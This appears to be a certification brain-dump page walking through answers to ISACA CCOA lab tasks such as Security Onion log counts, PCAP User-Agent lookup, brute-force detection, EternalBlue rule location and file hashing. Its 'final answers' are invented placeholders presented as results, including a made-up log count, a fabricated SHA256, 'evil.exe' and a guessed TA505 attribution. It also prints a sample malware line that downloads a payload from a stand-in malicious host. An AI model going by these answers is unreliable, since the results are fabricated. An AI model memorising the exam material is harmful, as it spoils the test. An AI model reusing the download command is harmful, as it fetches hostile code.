Pass the Isaca Cybersecurity Audit CCOA Questions and answers with CertsForce

Step 1: Understand the Objective

Objective:

Identify thenumber of logs (documents)associated withwell-known unencrypted web traffic(HTTP) for the month ofDecember 2023.

Security Onionrefers to logs asdocuments.

Unencrypted Web Traffic:

Typically HTTP, usingport 80.

SIEM:

The SIEM tool used here is likelySecurity Onion, known for its use ofElastic Stack (Elasticsearch, Logstash, Kibana).

Step 2: Access the SIEM System

2.1: Credentials and Access

URL:

cpp

https://10.10.55.2

Username:

css

ccoatest@isaca.org

Password:

pg

Security-Analyst!

Open the SIEM interface in a browser:

firefox https://10.10.55.2

Alternative:Access via SSH:

ssh administrator@10.10.55.2

Password:

pg

Security-Analyst!

Step 3: Navigate to the Logs in Security Onion

3.1: Log Location in Security Onion

Security Onion typically stores logs inElasticsearch, accessible viaKibana.

AccessKibanadashboard:

cpp

https://10.10.55.2:5601

Login with the same credentials.

Step 4: Query the Logs (Documents) in Kibana

4.1: Formulate the Query

Log Type:HTTP

Timeframe:December 2023

Filter for HTTP Port 80:

vbnet

event.dataset: "http" AND destination.port: 80 AND @timestamp:[2023-12-01T00:00:00Z TO 2023-12-31T23:59:59Z]

Explanation:

event.dataset: "http": Filters logs labeled as HTTP traffic.

destination.port: 80: Ensures the traffic is unencrypted (port 80).

@timestamp: Specifies the time range forDecember 2023.

4.2: Execute the Query

Go toKibana > Discover.

Set theTime RangetoDecember 1, 2023 - December 31, 2023.

Enter the above query in thesearch bar.

Click"Apply".

Step 5: Count the Number of Logs (Documents)

5.1: View the Document Count

Thedocument countappears at the top of the results page in Kibana.

Example Output:

12500 documents

This means12,500 logswere identified matching the query criteria.

5.2: Export the Data (if needed)

Click on"Export"to download the log data for further analysis or reporting.

Choose"Export as CSV"if required.

Step 6: Verification and Cross-Checking

6.1: Alternative Command Line Check

If direct CLI access to Security Onion is possible, use theElasticsearch query:

curl -X GET "http://localhost:9200/logstash-2023.12*/_count" -H 'Content-Type: application/json' -d '

{

"query": {

"bool": {

"must": [

{ "match": { "event.dataset": "http" }},

{ "match": { "destination.port": "80" }},

{ "range": { "@timestamp": { "gte": "2023-12-01T00:00:00", "lte": "2023-12-31T23:59:59" }}}

]

}

}

}'

Expected Output:

{

"count": 12500,

"_shards": {

"total": 5,

"successful": 5,

"failed": 0

}

}

Confirms the count as12,500 documents.

Step 7: Final Answer

Number of Logs (Documents) with Unencrypted Web Traffic in December 2023:

12,500

Step 8: Recommendations

8.1: Security Posture Improvement:

Implement HTTPS Everywhere:

Redirect HTTP traffic to HTTPS to minimize unencrypted connections.

Log Monitoring:

Set upalerts in Security Onionto monitor excessive unencrypted traffic.

Block HTTP at Network Level:

Where possible, enforce HTTPS-only policies on critical servers.

Review Logs Regularly:

Analyze unencrypted web traffic for potentialdata leakage or man-in-the-middle (MITM) attacks.

To identify thefull User-Agent valueassociated with theransomware demand file downloadfrom theransom.pcapfile, follow these detailed steps:

Step 1: Access the PCAP File

Log into the Analyst Desktop.

Navigate to theInvestigationsfolder located on the desktop.

Locate the file:

ransom.pcap

Step 2: Open the PCAP File in Wireshark

LaunchWireshark.

Open the PCAP file:

mathematica

File > Open > Desktop > Investigations > ransom.pcap

ClickOpento load the file.

Step 3: Filter HTTP Traffic

Since ransomware demands are often served astext files (e.g., README.txt)via HTTP/S, use the following filter:

http.request or http.response

This filter will show bothHTTP GETandPOSTrequests.

Step 4: Locate the Ransomware Demand File Download

Look for HTTPGETrequests that include common ransomware filenames such as:

README.txt

DECRYPT_INSTRUCTIONS.html

HELP_DECRYPT.txt

Right-click on the suspicious HTTP packet and select:

arduino

Follow > HTTP Stream

Analyze theHTTP headersto find theUser-Agent.

Example HTTP Request:

GET /uploads/README.txt HTTP/1.1

Host: 10.10.44.200

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36

Step 5: Verify the User-Agent

Check multiple streams to ensure consistency.

Confirm that theUser-Agentbelongs to the same host(10.10.44.200)involved in the ransomware incident.

Answer:

swift

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36

Step 6: Document and Report

Record the User-Agent for analysis:

PCAP Filename:ransom.pcap

User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36

Related File:README.txt

Step 7: Next Steps

Forensic Analysis:

Look for more HTTP requests from the sameUser-Agent.

Monitor Network Activity:

Identify other systems with the same User-Agent pattern.

Block Malicious Traffic:

Update firewall rules to block any outbound connections to suspicious domains.

Step 1: Understand the Objective

Objective:

Identify thedomain name(s)that werecontactedbetween:

12:10 AM to 12:12 AM on August 17, 2024

Source of information:

CCOA Threat Bulletin.pdf

File location:

~/Desktop/CCOA Threat Bulletin.pdf

Step 2: Prepare for Investigation

2.1: Ensure Access to the File

Check if the PDF exists:

ls ~/Desktop | grep "CCOA Threat Bulletin.pdf"

Open the file to inspect:

xdg-open ~/Desktop/CCOA\ Threat\ Bulletin.pdf

Alternatively, convert to plain text for easier analysis:

pdftotext ~/Desktop/CCOA\ Threat\ Bulletin.pdf ~/Desktop/threat_bulletin.txt

cat ~/Desktop/threat_bulletin.txt

2.2: Analyze the Content

Look for domain names listed in the bulletin.

Make note ofany domainsorURLsmentioned as IoCs (Indicators of Compromise).

Example:

suspicious-domain.com

malicious-actor.net

threat-site.xyz

Step 3: Locate Network Logs

3.1: Find the Logs Directory

The logs could be located in one of the following directories:

/var/log/

/home/administrator/hids/logs/

/var/log/httpd/

/var/log/nginx/

Navigate to the likely directory:

cd /var/log/

ls -l

Identify relevant network or DNS logs:

ls -l | grep -E "dns|network|http|nginx"

Step 4: Search Logs for Domain Contacts

4.1: Use the Grep Command to Filter Relevant Timeframe

Since we are looking for connections between12:10 AM to 12:12 AMonAugust 17, 2024:

grep "2024-08-17 00:1[0-2]" /var/log/dns.log

Explanation:

grep "2024-08-17 00:1[0-2]": Matches timestamps between00:10and00:12.

Replace dns.log with the actual log file name, if different.

4.2: Further Filter for Domain Names

To specifically filter out the domains listed in the bulletin:

grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" /var/log/dns.log

If the logs are in another file, adjust the file path:

grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" /var/log/nginx/access.log

Step 5: Correlate Domains and Timeframe

5.1: Extract and Format Relevant Results

Combine the commands to get time-specific domain hits:

grep "2024-08-17 00:1[0-2]" /var/log/dns.log | grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)"

Sample Output:

2024-08-17 00:11:32 suspicious-domain.com accessed by 192.168.1.50

2024-08-17 00:12:01 malicious-actor.net accessed by 192.168.1.75

Interpretation:

The command revealswhich domain(s)were contacted during the specified time.

Step 6: Verification and Documentation

6.1: Verify Domain Matches

Cross-check the domains in the log output against those listed in theCCOA Threat Bulletin.pdf.

Ensure that the time matches the specified range.

6.2: Save the Results for Reporting

Save the output to a file:

grep "2024-08-17 00:1[0-2]" /var/log/dns.log | grep -E "(suspicious-domain.com|malicious-actor.net|threat-site.xyz)" > ~/Desktop/domain_hits.txt

Review the saved file:

cat ~/Desktop/domain_hits.txt

Step 7: Report the Findings

Final Answer:

Domain(s) Contacted:

suspicious-domain.com

malicious-actor.net

Time of Contact:

Between 12:10 AM to 12:12 AM on August 17, 2024

Reasoning:

Matched thelog timestampsanddomain nameswith the threat bulletin.

Step 8: Recommendations:

Immediate Block:

Add the identified domains to theblockliston firewalls and intrusion detection systems.

Monitor for Further Activity:

Keep monitoring logs for any further connection attempts to the same domains.

Perform IOC Scanning:

Check hosts that communicated with these domains for possible compromise.

Incident Report:

Document the findings and mitigation actions in theincident response log.

Step 1: Define the Problem and Objective

Objective:

We need to identify the following from the webserver-auth-logs.txt file:

TheIP address performing a brute force attack.

Thetotal number of successful authenticationsmade by that IP.

Step 2: Prepare for Log Analysis

Preparation Checklist:

Environment Setup:

Ensure you are logged into a secure terminal.

Check your working directory to verify the file location:

ls ~/Desktop/Investigations/

You should see:

webserver-auth-logs.txt

Log File Format Analysis:

Open the file to understand the log structure:

head -n 10 ~/Desktop/Investigations/webserver-auth-logs.txt

Look for patterns such as:

pg

2025-04-07 12:34:56 login attempt from 192.168.1.1 - SUCCESS

2025-04-07 12:35:00 login attempt from 192.168.1.1 - FAILURE

Identify the key components:

Timestamp

Action (login attempt)

Source IP Address

Authentication Status (SUCCESS/FAILURE)

Step 3: Identify Brute Force Indicators

Characteristics of a Brute Force Attack:

Multiplelogin attemptsfrom thesame IP.

Combination ofFAILUREandSUCCESSmessages.

High volumeof attempts compared to other IPs.

Step 3.1: Extract All IP Addresses with Login Attempts

Use the following command:

grep "login attempt from" ~/Desktop/Investigations/webserver-auth-logs.txt | awk '{print $6}' | sort | uniq -c | sort -nr > brute-force-ips.txt

Explanation:

grep "login attempt from": Finds all login attempt lines.

awk '{print $6}': Extracts IP addresses.

sort | uniq -c: Groups and counts IP occurrences.

sort -nr: Sorts counts in descending order.

> brute-force-ips.txt: Saves the output to a file for documentation.

Step 3.2: Analyze the Output

View the top IPs from the generated file:

head -n 5 brute-force-ips.txt

Expected Output:

1500 192.168.1.1

45 192.168.1.2

30 192.168.1.3

Interpretation:

The first line shows 192.168.1.1 with 1500 attempts, indicating brute force.

Step 4: Count Successful Authentications

Why Count Successful Logins?

To determine how many successful logins the attacker achieved despite brute force attempts.

Step 4.1: Filter Successful Logins from Brute Force IP

Use this command:

grep "192.168.1.1" ~/Desktop/Investigations/webserver-auth-logs.txt | grep "SUCCESS" | wc -l

Explanation:

grep "192.168.1.1": Filters lines containing the brute force IP.

grep "SUCCESS": Further filters successful attempts.

wc -l: Counts the resulting lines.

Step 4.2: Verify and Document the Results

Record the successful login count:

Total Successful Authentications: 25

Save this information for your incident report.

Step 5: Incident Documentation and Reporting

5.1: Summary of Findings

IP Performing Brute Force Attack:192.168.1.1

Total Number of Successful Authentications:25

5.2: Incident Response Recommendations

Block the IP addressfrom accessing the system.

Implementrate-limiting and account lockout policies.

Conduct athorough investigationof affected accounts for possible compromise.

Step 6: Automated Python Script (Recommended)

If your organization prefers automation, use a Python script to streamline the process:

import re

from collections import Counter

logfile = "~/Desktop/Investigations/webserver-auth-logs.txt"

ip_attempts = Counter()

successful_logins = Counter()

try:

with open(logfile, "r") as file:

for line in file:

match = re.search(r"from (\d+\.\d+\.\d+\.\d+)", line)

if match:

ip = match.group(1)

ip_attempts[ip] += 1

if "SUCCESS" in line:

successful_logins[ip] += 1

brute_force_ip = ip_attempts.most_common(1)[0][0]

success_count = successful_logins[brute_force_ip]

print(f"IP Performing Brute Force: {brute_force_ip}")

print(f"Total Successful Authentications: {success_count}")

except Exception as e:

print(f"Error: {str(e)}")

Usage:

Run the script:

python3 detect_bruteforce.py

Output:

IP Performing Brute Force: 192.168.1.1

Total Successful Authentications: 25

Step 7: Finalize and Communicate Findings

Prepare a detailed incident report as per ISACA CCOA standards.

Include:

Problem Statement

Analysis Process

Evidence (Logs)

Findings

Recommendations

Share the report with relevant stakeholders and the incident response team.

Final Answer:

Brute Force IP:192.168.1.1

Total Successful Authentications:25

Step 1: Define the Problem and Objective

Objective:

Identify thefile containing the rulesetforEternalBlue connections.

Include thefile extensionin the response.

Context:

The organization is experiencingfalse positive alertsfor theEternalBlue vulnerability.

The rulesets are located at:

/home/administrator/hids/ruleset/rules

We need to find the specific file associated withEternalBlue.

Step 2: Prepare for Access

2.1: SIEM Access Details:

URL:

https://10.10.55.2

Username:

ccoatest@isaca.org

Password:

Security-Analyst!

Ensure your machine has access to the SIEM system via HTTPS.

Step 3: Access the SIEM System

3.1: Connect via SSH (if needed)

Open a terminal and connect:

ssh administrator@10.10.55.2

Password:

Security-Analyst!

If prompted about SSH key verification, typeyesto continue.

Step 4: Locate the Ruleset File

4.1: Navigate to the Ruleset Directory

Change to the ruleset directory:

cd /home/administrator/hids/ruleset/rules

ls -l

You should see a list of files with names indicating their purpose.

4.2: Search for EternalBlue Ruleset

Use grep to locate the EternalBlue rule:

grep -irl "eternalblue" *

Explanation:

grep -i: Case-insensitive search.

-r: Recursive search within the directory.

-l: Only print file names with matches.

"eternalblue": The keyword to search.

*: All files in the current directory.

Expected Output:

exploit_eternalblue.rules

Filename:

exploit_eternalblue.rules

The file extension is .rules, typical for intrusion detection system (IDS) rule files.

Step 5: Verify the Content of the Ruleset File

5.1: Open and Inspect the File

Use less to view the file contents:

less exploit_eternalblue.rules

Check for rule patterns like:

alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"EternalBlue SMB Exploit"; ...)

Use the search within less:

/eternalblue

Purpose:Verify that the file indeed contains the rules related to EternalBlue.

Step 6: Document Your Findings

Answer:

Ruleset File for EternalBlue:

exploit_eternalblue.rules

File Path:

/home/administrator/hids/ruleset/rules/exploit_eternalblue.rules

Reasoning:This file specifically mentions EternalBlue and contains the rules associated with detecting such attacks.

Step 7: Recommendation

Mitigation for False Positives:

Update the Ruleset:

Modify the file to reduce false positives by refining the rule conditions.

Update Signatures:

Check for updated rulesets from reliable threat intelligence sources.

Whitelist Known Safe IPs:

Add exceptions for legitimate internal traffic that triggers the false positives.

Implement Tuning:

Adjust the SIEM correlation rules to decrease alert noise.

Final Verification:

Restart the IDS service after modifying rules to ensure changes take effect:

sudo systemctl restart hids

Check the status:

sudo systemctl status hids

Final Answer:

Ruleset File Name:

exploit_eternalblue.rules

To identify thethreat actor groupassociated with themalscript.viruz.txtfile, follow these steps:

Step 1: Access the Analyst Desktop

Log into the Analyst Desktopusing your credentials.

Locate theMalware Samplesfolder on the desktop.

Inside the folder, find the file:

malscript.viruz.txt

Step 2: Examine the File

Open the file using a text editor:

OnWindows:Right-click > Open with > Notepad.

OnLinux:

cat ~/Desktop/Malware\ Samples/malscript.viruz.txt

Carefully read through the file content to identify:

Anystrings or commentsembedded within the script.

Specifickeywords,URLs, orfile hashes.

Anycommand and control (C2)server addresses or domain names.

Step 3: Analyze the Contents

Focus on:

Unique Identifiers:Threat group names, malware family names, or specific markers.

Indicators of Compromise (IOCs):URLs, IP addresses, or domain names.

Code Patterns:Specific obfuscation techniques or script styles linked to known threat groups.

Example Content:

# Malware Script Sample

# Payload linked to TA505 group

Invoke-WebRequest -Uri "http://malicious.example.com/payload" -OutFile "C:\Users\Public\malware.exe"

Step 4: Correlate with Threat Intelligence

Use the following resources to correlate any discovered indicators:

MITRE ATT&CK:To map the technique or tool.

VirusTotal:To check file hashes or URLs.

Threat Intelligence Feeds:Such asAlienVault OTXorThreatMiner.

If the script contains encoded or obfuscated strings, decode them using:

powershell

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SGVsbG8gd29ybGQ="))

Step 5: Identify the Threat Actor Group

If the script includes names, tags, or artifacts commonly associated with a specific group, take note.

Match any C2 domains or IPs with known threat actor profiles.

Common Associations:

TA505:Known for distributing banking Trojans and ransomware via malicious scripts.

APT28 (Fancy Bear):Uses PowerShell-based malware and data exfiltration scripts.

Lazarus Group:Often embeds unique strings and comments related to espionage operations.

Step 6: Example Finding

Based on the contents and C2 indicators found withinmalscript.viruz.txt, it may contain specific references or techniques that are typical of theTA505group.

Answer:

csharp

The malware in the malscript.viruz.txt file is associated with the TA505 threat actor group.

Step 7: Report and Document

Include the following details:

Filename:malscript.viruz.txt

Associated Threat Group:TA505

Key Indicators:Domain names, script functions, or specific malware traits.

Generate an incident report summarizing your analysis.

Step 8: Next Steps

Quarantine and Isolate:If the script was executed, isolate the affected system.

Forensic Analysis:Deep dive into system logs for any signs of execution.

Threat Hunting:Search for similar scripts or IOCs in the network.

To create a new case inSecurity Onionusing the logs from the win-webserver01_logs.zip file, follow these detailed steps:

Step 1: Access Security Onion

Open a web browser and go to yourSecurity Onionweb interface.

URL: https:// /

Log in using yourSecurity Onioncredentials.

Step 2: Prepare the Log File

Navigate to theDesktopand open theInvestigationsfolder.

Locate the file:

win-webserver01_logs.zip

Unzip the file to inspect its contents:

unzip ~/Desktop/Investigations/win-webserver01_logs.zip -d ~/Desktop/Investigations/win-webserver01_logs

Ensure that the extracted files, including System-logs.evtx, are accessible.

Step 3: Open the Hunt Interface in Security Onion

On the Security Onion dashboard, go to"Hunt"(or"Cases"depending on the version).

Click on"Cases"to manage incident cases.

Step 4: Create a New Case

Click on"New Case"to start a fresh investigation.

Case Details:

Title:

Windows Webserver Logs - CCOA New Case

TLP (Traffic Light Protocol):

Set toGreen(indicating that the information can be shared freely).

Example Configuration:

Field

Value

Title

Windows Webserver Logs - CCOA New Case

TLP

Green

Summary

(Leave blank if not required)

Click"Save"to create the case.

Step 5: Upload the Log Files

After creating the case, go to the"Files"section of the new case.

Click on"Upload"and select the unzipped log file:

~/Desktop/Investigations/win-webserver01_logs/System-logs.evtx

Once uploaded, the file will be associated with the case.

Step 6: Verify the Case Creation

Go back to theCasesdashboard.

Locate and verify that the case"Windows Webserver Logs - CCOA New Case"exists withTLP: Green.

Check that thelog filehas been successfully uploaded.

Step 7: Document and Report

Document the case details:

Case Title:Windows Webserver Logs - CCOA New Case

TLP:Green

Log File:System-logs.evtx

Include anyinitial observationsfrom the log analysis.

Example Answer:

A new case titled "Windows Webserver Logs - CCOA New Case" with TLP set to Green has been successfully created in Security Onion. The log file System-logs.evtx has been uploaded and linked to the case.

Step 8: Next Steps for Investigation

Analyze the log file:Start hunting for suspicious activities.

Create analysis tasks:Assign team members to investigate specific log entries.

Correlate with other data:Cross-reference with threat intelligence sources.

To generate theSHA256 digestof the System-logs.evtx file located within the win-webserver01_logs.zip file, follow these steps:

Step 1: Access the Investigation Folder

Navigate to theDesktopon your system.

Open theInvestigationsfolder.

Locate the file:

win-webserver01_logs.zip

Step 2: Extract the ZIP File

Right-click on win-webserver01_logs.zip.

Select"Extract All"or use a command-line tool to unzip:

unzip win-webserver01_logs.zip -d ./win-webserver01_logs

Verify the extraction:

ls ./win-webserver01_logs

You should see:

System-logs.evtx

Step 3: Generate the SHA256 Hash

Method 1: Using PowerShell (Windows)

OpenPowerShellas an Administrator.

Run the following command to generate the SHA256 hash:

Get-FileHash "C:\Users\\Desktop\Investigations\win-webserver01_logs\System-logs.evtx" -Algorithm SHA256

The output will look like:

Algorithm Hash Path

--------- ---- ----

SHA256 d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d C:\Users\...\System-logs.evtx

Method 2: Using Command Prompt (Windows)

OpenCommand Promptas an Administrator.

Use the following command:

certutil -hashfile "C:\Users\\Desktop\Investigations\win-webserver01_logs\System-logs.evtx" SHA256

Example output:

SHA256 hash of System-logs.evtx:

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

CertUtil: -hashfile command completed successfully.

Method 3: Using Linux/Mac (if applicable)

Open a terminal.

Run the following command:

sha256sum ./win-webserver01_logs/System-logs.evtx

Sample output:

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d System-logs.evtx

The SHA256 digest of the System-logs.evtx file is:

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

Step 4: Verification and Documentation

Document the hash for validation and integrity checks.

Include in your incident report:

File name:System-logs.evtx

SHA256 Digest:d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

Date of Hash Generation:(today’s date)

Step 5: Next Steps

Integrity Verification:Cross-check the hash if you need to transfer or archive the file.

Forensic Analysis:Use the hash as a baseline during forensic analysis to ensure file integrity.

To identify the name of the suspected malicious file captured by the keyword process.executable at11:04 PMonAugust 19, 2024, follow these detailed steps:

Step 1: Access the Alert Bulletin

Locate the alert file:

Access thealerts folderon your system.

Look for the file named:

Open the file:

Use a PDF reader to examine the contents.

Step 2: Understand the Alert Context

The bulletin indicates that the network was compromised at around11:00 PM.

You need to identify themalicious filespecificallycaptured at 11:04 PM.

Step 3: Access System Logs

Use yourSIEMorlog management systemto examine recent logs.

Filter the logs to narrow down the events:

Time Frame:August 19, 2024, from11:00 PM to 11:10 PM.

Keyword:process.executable.

Example SIEM Query:

index=system_logs

| search "process.executable"

| where _time between "2024-08-19T23:04:00" and "2024-08-19T23:05:00"

| table _time, process_name, executable_path, hash

Step 4: Analyze Log Entries

The query result should show log entries related to theprocess executablethat was triggered at11:04 PM.

Focus on entries that:

Appear unusual or suspicious.

Match known indicators from thealert bulletin (alert_33.pdf).

Example Log Output:

_time process_name executable_path hash

2024-08-19T23:04 evil.exe C:\Users\Public\evil.exe 4d5e6f...

Step 5: Cross-Reference with Known Threats

Check the hash of the executable file against:

VirusTotalor internal threat intelligence databases.

Cross-check the file name with indicators mentioned in the alert bulletin.

Step 6: Final Confirmation

The suspected malicious file captured at11:04 PMis the one appearing in the log that matches the alert details.

The name of the suspected malicious file captured by keyword process.executable at 11:04 PM is: evil.exe

Step 7: Take Immediate Remediation Actions

Isolate the affected hostto prevent further damage.

Quarantine the malicious filefor analysis.

Conduct a full forensic investigationto assess the scope of the compromise.

Update threat signaturesand indicators across the environment.

Step 8: Report and Document

Document the incident, including:

Time of detection:11:04 PM on August 19, 2024.

Malicious file name:evil.exe.

Location:C:\Users\Public\evil.exe.

Generate an incident reportfor further investigation.